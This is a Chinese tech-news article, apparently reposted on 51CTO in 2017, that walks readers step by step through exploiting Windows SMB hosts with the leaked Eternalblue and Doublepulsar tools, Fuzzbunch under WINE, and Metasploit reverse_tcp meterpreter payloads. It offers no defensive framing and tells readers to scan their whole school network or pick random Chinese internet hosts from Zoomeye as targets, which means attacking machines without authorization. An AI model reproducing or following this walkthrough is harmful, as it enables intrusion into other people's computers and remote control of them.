中国领先的IT技术网站
|
|

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

本文手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法。

作者:7sDream来源:马哥Linux运维|2017-05-16 15:32

开发者大赛路演 | 12月16日,技术创新,北京不见不散


手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

安装 MSF

Linux & Mac OS X

如果遇到问题,点开这个链接,然后自己想想办法……

查看是否安装成功

然后输入 msfconsole 看看安装是不是成功了……

这样的话就算成功了。

安装 WINE 和 winetricks

Linux

OSX

安装 Windows Python 环境

跟着 wizard 走完就行了……一路下一步。

复制工具包到 Windows 分区

默认 WINE 环境的虚拟磁盘在 ~/.wine/drive_c

把那个工具包里的 windows 文件夹改个名字,复制到这里去……

比如改名叫 tools,复制到 ~/.wine/drive_c/tools。

进入 Win CMD

如果这一步出现什么 wrong font 错误,可以试试安装 fonts-wine 包,或者用 winetricks --gui,选择默认 WINE ,安装字体,勾上 corefont。

没错的话会出现一个黑框框,就是 CMD 了,先 右键 - properties - font 调整一下字体什么的,注意确定保存的时候选第一个单选框……调到你觉得好看的字体为止。然后:

试一下 Win 上的 Python 有没有安装好,如果没问题就 Ctrl-D 退出。

修改 fuzzbunch 默认配置

到 ~/.wine/drive_c/tools 这里,用文本编辑器打开 fuzzbunch.xml。

修改 ResourcesDir 为 C:\tools\Resources,LogDir 为 C:\logs。

运行 fuzzbunch

再次打开 CMD,cd 到 Python 目录,然后执行:

如果出现这样的话环境就算是配置好了:

然后可以暂时退出了。

查看网络环境

本机上执行:

找到自己正在使用的网络,记下 IP 和 子网掩码。

安装 Zmap

Zmap 是一个快速的网络扫描器,反正就是收集信息用的。

Linux

OSX

安装好了之后 sudo zmap --version 测试一下。

扫描子网

根据你上一步得到的 IP 和子网掩码,扫描网络。

假如你的 IP 是 10.128.129.45 子网掩码 255.255.192.0,把子网掩码按照下表换成数字,然后加起来。

所以 255.255.192.0 = 8 + 8 + 2 = 18。要扫描的 CIDR 就是 10.128.129.45/18

然后运行:

-B 选项后面的是扫描速度,根据你们的内网带宽找一个合适的速度填就行。比如我们内网 100M,我就用一半的速度扫。

如果遇到 blacklist 的错误,可以去修改 /etc/zmap/blacklist.conf 这个文件,把需要扫描的内网地址注释掉:

如果遇到 interface 什么的错误,就用 -i <interface> 指定要使用的网卡。比如你是用 WiFi 的话就 -i wlan0。

如果遇到 get-gateway 的错误,就先运行 netstat -nr 得到网关的 IP,然后运行 sudo arp -a <网关IP> 获取他的 MAC 地址:见下图:

获取到网关 MAC 之后,用 -G 参数写在命令行里即可。

OK,开始扫描吧,这时候等着就行了。

扫描完成之后 cat 445.csv 就可以看到所有开了 445 的机器了。

如果你扫描出来文件是空的的话……那说明你的网段可能太小了。

如果你是学生,可以考虑扫描一下全校网段,一般用 10.0.0.1/8 扫描的话应该会能得到一些结果的。

如果还是不行,那就用备选方案吧……

备选方案 - Zoomeye

如果你子网扫描出来的文件是个空的的话,你也可以选择扫描互联网上的机器。

当然这时候我们就不自己用 zmap 扫了,Zoomeye 可以帮助我们。

打开:https://www.zoomeye.org/

搜索框右边的选项选主机,输入 service:microsoft-ds os:windows country:china Enter 搜索。

也可以加一个参数 city:beijing 来搜索特定城市的主机。

然后随便选几个 IP 写到 445.csv 里去吧,一行一个 IP 就行。

漏洞检测

现在用 msfconsole 打开 MSF,输入 use auxiliary/scanner/smb/smb_version 注意从现在开始就不要复制命令了,最好都手打,要习惯用 Tab 补全。

前面的 msf 提示符变成 msf auxiliary(smb_version) > 就表示进入这个扫描器的上下文了。

输入 options 查看可用的选项:

RHOSTS 表示要扫描额主机列表,THREADS 表示扫描线程数,一般填个 50 什么的就差不多了。如果你 RHOST 数量比小于 50 的话,你也可以填少一点。

用 set 命令设置选项:

输入完后再用 options 查看一下选项,确认没问题之后输入 exploit,回车开始执行 scanner.

执行过程中应该会有很多信息输出出来,等他运行完,输入 hosts 查看当前获得的主机资料:

OK,一个 Win10 一个 Win7 一个 WinServer 2008 R2。

Win 7 以上的可以不用考虑了,Win 7 和 WinServer 2008 一般来说是可以的。

如果你不放心,可以使用 auxiliary/scanner/smb/smb_ms17_010 这个扫描器做一次漏洞检测。这个就不说详细步骤了,当作练习吧,结果大概是这样的:

嗯,他说 Likely 嘛,一般来说 还是选 Win 7 和 Server 2008 以下的主机当作目标吧。

OK 我现在就选那台 Win 7 的 10.158.24.2 了,后面的操作都会用这个 IP,你记得换成你自己的目标哈。

Fuzzbunch 出场

用之前的命令启动 WINE CMD,用 Python 打开 fuzzbunch:

  • 第一个地方输入你的目标的 IP 地址
  • 第二空 Callback IP 随便填,因为用不到,这里就填 127.0.0.1 好了
  • 第三个很重要,一定 要填 no
  • 后面如果你没有项目的话就选 0 新建一个,你下次启动想用之前的话就选 index
  • 然后文件位置什么的就都默认,一路回车下来就行

看见 fb > 字样的提示符就表示初始设置完成。

Eternalblue 攻击

Fuzzbunch 的使用方法和 MSF 其实差不多。

输入 use Eternalblue 载入攻击模块,同样注意多使用 Tab 键。

和 MSF 不一样,FB 会进行交互性的参数输入:

如果上面的参数(主要是 IP)没错的话,也可以输入 no 来取消交互式输入。

然后来到这一步,攻击方式一定要选 1 FB 方式:

然后继续跟着交互提示走,Tunnels 部分直接一路回车,开始执行后门安装:

如果到 Receiving response from exploit packet 这句话这里停住的话,大概率是打了补丁,你可以换个目标了。

如果是停在 Triggering free of corrupted buffer 这句的话,基本就成功了,等着就好。

OK,等了一会之后,Eternalblue 攻击成功。

注意观察一下这里写的目标机器的 Arch 是 32 bit 还是 64 bit,后面要用。

TCP 隧道

这一步需要你有公网 IP,如果你没有的话可以用 TCP 隧道服务来代替……比如各种基于 Ngrok 的隧道服务……

这里我就不教程了……你们自己弄好就行

我现在假设你们隧道服务商 IP 是 123.123.123.123,给你的端口是 8888,你本地的端口也开 8888,下面一步操作的时候记得把这些数字换成真实的。

提示

如果你是扫描校内网,而且校内网没有对机器互联端口做限制的话,不用 TCP 隧道也是可以的,那你就把下面教程里的所有 LHOST 填你自己的网卡 IP 即可。

MSF 监听反弹端口

在 MSF 里,使用 multi/handler。

如果你要攻击的机器是 32 位的机器:

set payload windows/meterpreter/reverse_tcp

如果是 64 位的:

set payload windows/x64/meterpreter/reverse_tcp

然后 

LHOST 就填 127.0.0.1 就可以,因为上面我们用了隧道。

最后一个 -j 是将 exploit 放在后台运行,暂时可以不用管了。

你可以通过 jobs -l 看到所有后台任务。

生成 Shellcode DLL

在 MSF 里执行

上面的 {Payload} 换成你上个阶段用的 payload,然后 HOST 和 PORT 也要记得换,{ARCH} 如果是 32 位就写 x8664 位就写 x64。

你也可以分别生成两个 DLL 备用,反正以后攻击到的 32 位 64 位都有可能。

然后把这两个 DLL 复制到 ~/.wine/drive_c 目录下

双倍脉冲(Doublepulsar)注入

切换到 Wine CMD 里的 FB 平台,使用 Doublepulsar

然后就按照提示一路 Enter,Proto 选 SMB,x86 还是 x64 根据目标机器选。

这一步选 2,RunDLL。

DLL 位置选根据你的文件名填,比如 C:\x86.dll 或者 C:\x64.dll,然后继续 Enter。

当你看到这个 Success 的时候,表示注入成功。

DONE

现在切回你的 MSF 看看是不是有些 sending stage 之类的输出。

如果没有的话就把 DLL 的生成检查一遍看看参数有没有写对,然后再执行一遍上一步。

如果有输出的就输入 sessions -l 查看已经连接好的 meterpreter。

然后用 sessions -i <ID> 连上去:

OK 了!后面的我就不教了,你可以输入 help 然后 Tab 看看有哪些命令。然后 <command> -h 获取帮助。

然后 https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ 这里有一些基本的后渗透命令的解释。

【编辑推荐】

  1. 梭子鱼网络:为什么Locky勒索病毒非常危险?
  2. 警惕!勒索病毒DXXD 2.0版来袭,黑客称只能缴纳赎金无法破解
  3. 亚信安全发布防范WannaCry/Wcry蠕虫勒索病毒紧急通告!
  4. 应对“勒索病毒”周一开机操作指南
  5. 专家预测第二波WannaCry勒索病毒攻击即将到来!
【责任编辑:枯木 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

公钥基础设施PKI及其应用

公钥基础设施PKI(Public Key Infrastructure)是利用公钥概念和加密技术为网上通信提供的符合标准的一整套安全基础平台。公钥基础设施能为...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊
× 51CTO学院双十二活动